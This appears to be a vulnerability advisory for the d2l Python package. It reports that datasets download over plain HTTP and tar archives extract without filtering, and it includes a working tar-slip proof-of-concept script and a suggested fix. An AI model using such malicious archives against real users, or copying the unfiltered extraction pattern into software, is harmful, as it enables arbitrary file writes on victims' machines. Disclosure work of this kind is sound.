#2714·d2l-en

Tar-Slip Arbitrary File Write via HTTP Download in d2l

Author: AAtomicalCreated Jun 10, 2026Updated Jun 10, 2026

Summary

The d2l package downloads datasets over plaintext HTTP (http://d2l-data.s3-accelerate.amazonaws.com/) and extracts tar archives using bare tarfile.extractall() with no member name filtering. A network attacker (MITM) can serve a malicious .tar with path-traversal entries, achieving arbitrary file write with the victim's privileges.

This affects all users following the official D2L book tutorials (6k+ GitHub stars, widely used in university courses) whenever they download datasets containing .tar files (e.g., VOC2012, PTB).

Affected Component

  • Repository:
  • File: d2l/torch.py (and d2l/mxnet.py, d2l/tensorflow.py, d2l/paddle.py — identical code)
  • Vulnerable functions: extract() (line 3224-3237), download_extract() (line 3239-3253)
  • Version: 1.0.3 (latest)

Vulnerability Details

Plaintext HTTP data URL (line 2)

python
DATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'

All dataset downloads use this HTTP (not HTTPS) base URL.

Bare tarfile.extractall (line 3234-3237)

python
def extract(filename, folder=None):
    base_dir = os.path.dirname(filename)
    _, ext = os.path.splitext(filename)
    if ext == '.zip':
        fp = zipfile.ZipFile(filename, 'r')
    else:
        fp = tarfile.open(filename, 'r')   # ← tar: no filter
    if folder is None:
        folder = base_dir
    fp.extractall(folder)                   # ← bare extractall

download_extract (line 3239-3253) — same pattern

python
def download_extract(name, folder=None):
    fname = download(name)                  # HTTP GET
    ...
    fp = tarfile.open(fname, 'r')
    fp.extractall(base_dir)                 # ← bare extractall into ../data/

Tar datasets in DATA_HUB

python
DATA_HUB['voc2012'] = (DATA_URL + 'VOCtrainval_11-May-2012.tar', ...)

Proof of Concept

Environment

Component Detail
d2l 1.0.3 (pip install)
Python 3.11.0
Attack Local HTTP server simulating MITM on http://d2l-data.s3-accelerate.amazonaws.com

Exploit

python
import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from d2l import torch as d2l

SERVE_DIR = Path(tempfile.mkdtemp())
WORK_DIR = Path(tempfile.mkdtemp())

# Build malicious tar
with tarfile.open(str(SERVE_DIR / "VOCtrainval_11-May-2012.tar"), "w") as tf:
    info = tarfile.TarInfo(name="../pwned.txt")
    data = b"ARBITRARY_WRITE\n"
    info.size = len(data)
    tf.addfile(info, io.BytesIO(data))

# Serve (simulates MITM)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 19234), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()

# Victim downloads dataset (MITM'd)
d2l.DATA_URL = "http://127.0.0.1:19234/"
fname = d2l.download(d2l.DATA_URL + "VOCtrainval_11-May-2012.tar", folder=str(WORK_DIR / "data"))
d2l.extract(fname)

# Verify: file escaped extraction directory
assert (WORK_DIR / "pwned.txt").exists()

PoC output

Image

Suggested Fix

python
# 1. Use HTTPS
DATA_URL = 'https://d2l-data.s3-accelerate.amazonaws.com/'

# 2. Add tar extraction filter
def extract(filename, folder=None):
    base_dir = os.path.dirname(filename)
    _, ext = os.path.splitext(filename)
    if ext == '.zip':
        fp = zipfile.ZipFile(filename, 'r')
        fp.extractall(folder or base_dir)
    else:
        with tarfile.open(filename, 'r') as fp:
            if hasattr(tarfile, 'data_filter'):
                fp.extractall(folder or base_dir, filter='data')
            else:
                safe = [m for m in fp.getmembers()
                        if not m.name.startswith(('/', '..'))
                        and '..' not in m.name.split('/')]
                fp.extractall(folder or base_dir, members=safe)